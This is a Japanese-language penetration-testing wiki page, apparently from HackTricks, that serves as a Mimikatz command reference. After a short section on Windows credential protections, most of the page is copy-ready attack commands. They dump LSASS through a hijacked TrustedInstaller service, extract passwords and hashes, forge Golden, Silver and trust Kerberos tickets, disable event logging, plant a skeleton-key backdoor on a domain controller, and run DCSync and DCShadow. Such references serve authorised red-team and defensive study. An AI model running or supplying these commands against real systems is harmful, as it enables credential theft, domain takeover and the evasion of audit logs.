Mimikatz

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

このページはadsecurity.orgのページを元にしています。詳細については元のページをご確認ください!

メモリ内のLMハッシュとクリアテキスト

Windows 8.1およびWindows Server 2012 R2以降、資格情報の盗難に対する重要な対策が実施されています:

  • LMハッシュと平文パスワードはセキュリティを強化するためにメモリに保存されなくなりました。特定のレジストリ設定、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential" にDWORD値 0 を設定してDigest認証を無効にし、LSASSに"クリアテキスト"パスワードがキャッシュされないようにする必要があります。

  • LSA Protectionは、ローカルセキュリティ機関(LSA)プロセスを未承認のメモリ読み取りやコードインジェクションから保護するために導入されました。これはLSASSを保護されたプロセスとしてマークすることで実現されます。LSA Protectionの有効化には以下が必要です:

  1. RunAsPPLdword:00000001 に設定して、レジストリを HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa で変更します。

  2. このレジストリ変更を管理されたデバイス全体に強制するグループポリシーオブジェクト(GPO)を実装します。

これらの保護策にもかかわらず、MimikatzなどのツールはLSA Protectionを特定のドライバを使用して回避できますが、そのような行動はイベントログに記録される可能性があります。

SeDebugPrivilegeの削除に対抗する

通常、管理者にはプログラムのデバッグを許可するSeDebugPrivilegeがあります。この特権は、攻撃者がメモリから資格情報を抽出するために使用する一般的なテクニックである無許可のメモリダンプを防ぐために制限できます。ただし、この特権が削除されていても、TrustedInstallerアカウントはカスタマイズされたサービス構成を使用してメモリダンプを実行できます。

sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
sc start TrustedInstaller

これにより、lsass.exeのメモリをファイルにダンプし、その後別のシステムで分析して資格情報を抽出することができます。

# privilege::debug
# sekurlsa::minidump lsass.dmp
# sekurlsa::logonpasswords

Mimikatzのオプション

Mimikatzでのイベントログ改ざんには、主に2つのアクションが関与します:イベントログの消去と新しいイベントの記録を防ぐためにイベントサービスをパッチすることです。以下はこれらのアクションを実行するためのコマンドです:

イベントログの消去

  • コマンド:このアクションはイベントログを削除し、悪意のある活動を追跡するのを困難にします。

  • Mimikatzは、標準ドキュメントで直接イベントログを消去するためのコマンドを提供していません。ただし、イベントログの操作は通常、Mimikatzのコマンドラインを介して直接行うのではなく、特定のログを消去するためにシステムツールやスクリプトを使用することが一般的です(例:PowerShellやWindowsイベントビューアを使用)。

実験的機能:イベントサービスのパッチ

  • コマンドevent::drop

  • この実験的なコマンドは、イベントログサービスの動作を変更し、新しいイベントの記録を防ぐように設計されています。

  • 例:mimikatz "privilege::debug" "event::drop" exit

  • privilege::debugコマンドは、Mimikatzがシステムサービスを変更するために必要な特権で動作することを確認します。

  • event::dropコマンドは、その後イベントログサービスをパッチします。

Kerberosチケット攻撃

ゴールデンチケットの作成

ゴールデンチケットはドメイン全体へのアクセス権限を与えます。主要なコマンドとパラメータ:

  • コマンド:kerberos::golden

  • パラメータ:

  • /domain:ドメイン名。

  • /sid:ドメインのセキュリティ識別子(SID)。

  • /user:なりすますユーザー名。

  • /krbtgt:ドメインのKDCサービスアカウントのNTLMハッシュ。

  • /ptt:チケットを直接メモリに注入します。

  • /ticket:後で使用するためにチケットを保存します。

例:

mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit

Silver Ticket Creation

Silver Ticketsは特定のサービスへのアクセスを許可します。主要なコマンドとパラメータは以下の通りです:

  • コマンド: Golden Ticketに似ていますが、特定のサービスを対象とします。

  • パラメータ:

  • /service: ターゲットとするサービス(例: cifs、http)。

  • その他のパラメータはGolden Ticketと類似しています。

例:

mimikatz "kerberos::golden /user:user /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /target:service.example.com /service:cifs /rc4:ntlmhash /ptt" exit

信頼チケットの作成

信頼チケットは、信頼関係を活用して異なるドメイン間のリソースにアクセスするために使用されます。主要なコマンドとパラメーターは以下の通りです:

  • コマンド: 信頼関係用のゴールデンチケットに類似したもの。

  • パラメーター:

    • /target: ターゲットドメインのFQDN。

    • /rc4: 信頼アカウントのNTLMハッシュ。

例:

mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123456789-123456789 /sids:S-1-5-21-987654321-987654321-987654321-519 /rc4:ntlmhash /user:admin /service:krbtgt /target:parent.example.com /ptt" exit

追加のKerberosコマンド

  • チケットのリスト表示:

  • コマンド: kerberos::list

  • 現在のユーザーセッションのすべてのKerberosチケットをリスト表示します。

  • キャッシュのパス:

  • コマンド: kerberos::ptc

  • キャッシュファイルからKerberosチケットを注入します。

  • 例: mimikatz "kerberos::ptc /ticket:ticket.kirbi" exit

  • チケットのパス:

  • コマンド: kerberos::ptt

  • 他のセッションでKerberosチケットを使用できるようにします。

  • 例: mimikatz "kerberos::ptt /ticket:ticket.kirbi" exit

  • チケットのクリア:

  • コマンド: kerberos::purge

  • セッションからすべてのKerberosチケットをクリアします。

  • 衝突を避けるためにチケット操作コマンドを使用する前に便利です。

Active Directoryの改ざん

  • DCShadow: 一時的にマシンをDCとして操作してADオブジェクトを操作します。

  • mimikatz "lsadump::dcshadow /object:targetObject /attribute:attributeName /value:newValue" exit

  • DCSync: DCを模倣してパスワードデータをリクエストします。

  • mimikatz "lsadump::dcsync /user:targetUser /domain:targetDomain" exit

資格情報アクセス

  • LSADUMP::LSA: LSAから資格情報を抽出します。

  • mimikatz "lsadump::lsa /inject" exit

  • LSADUMP::NetSync: コンピューターアカウントのパスワードデータを使用してDCを偽装します。

  • 元のコンテキストにはNetSyncのための特定のコマンドが提供されていません。

  • LSADUMP::SAM: ローカルSAMデータベースにアクセスします。

  • mimikatz "lsadump::sam" exit

  • LSADUMP::Secrets: レジストリに保存されたシークレットを復号化します。

  • mimikatz "lsadump::secrets" exit

  • LSADUMP::SetNTLM: ユーザーの新しいNTLMハッシュを設定します。

  • mimikatz "lsadump::setntlm /user:targetUser /ntlm:newNtlmHash" exit

  • LSADUMP::Trust: 信頼認証情報を取得します。

  • mimikatz "lsadump::trust" exit

その他

  • MISC::Skeleton: DCのLSASSにバックドアを注入します。

  • mimikatz "privilege::debug" "misc::skeleton" exit

特権昇格

  • PRIVILEGE::Backup: バックアップ権限を取得します。

  • mimikatz "privilege::backup" exit

  • PRIVILEGE::Debug: デバッグ特権を取得します。

  • mimikatz "privilege::debug" exit

資格情報ダンプ

  • SEKURLSA::LogonPasswords: ログオン中のユーザーの資格情報を表示します。

  • mimikatz "sekurlsa::logonpasswords" exit

  • SEKURLSA::Tickets: メモリからKerberosチケットを抽出します。

  • mimikatz "sekurlsa::tickets /export" exit

SIDとトークンの操作

  • SID::add/modify: SIDとSIDHistoryを変更します。

  • 追加: mimikatz "sid::add /user:targetUser /sid:newSid" exit

  • 修正: 元のコンテキストには修正のための特定のコマンドが提供されていません。

  • TOKEN::Elevate: トークンを偽装します。

  • mimikatz "token::elevate /domainadmin" exit

ターミナルサービス

  • TS::MultiRDP: 複数のRDPセッションを許可します。

  • mimikatz "ts::multirdp" exit

  • TS::Sessions: TS/RDPセッションをリスト表示します。

  • 元のコンテキストにはTS::Sessionsのための特定のコマンドが提供されていません。

Vault

  • Windows Vaultからパスワードを抽出します。

  • mimikatz "vault::cred /patch" exit

Last updated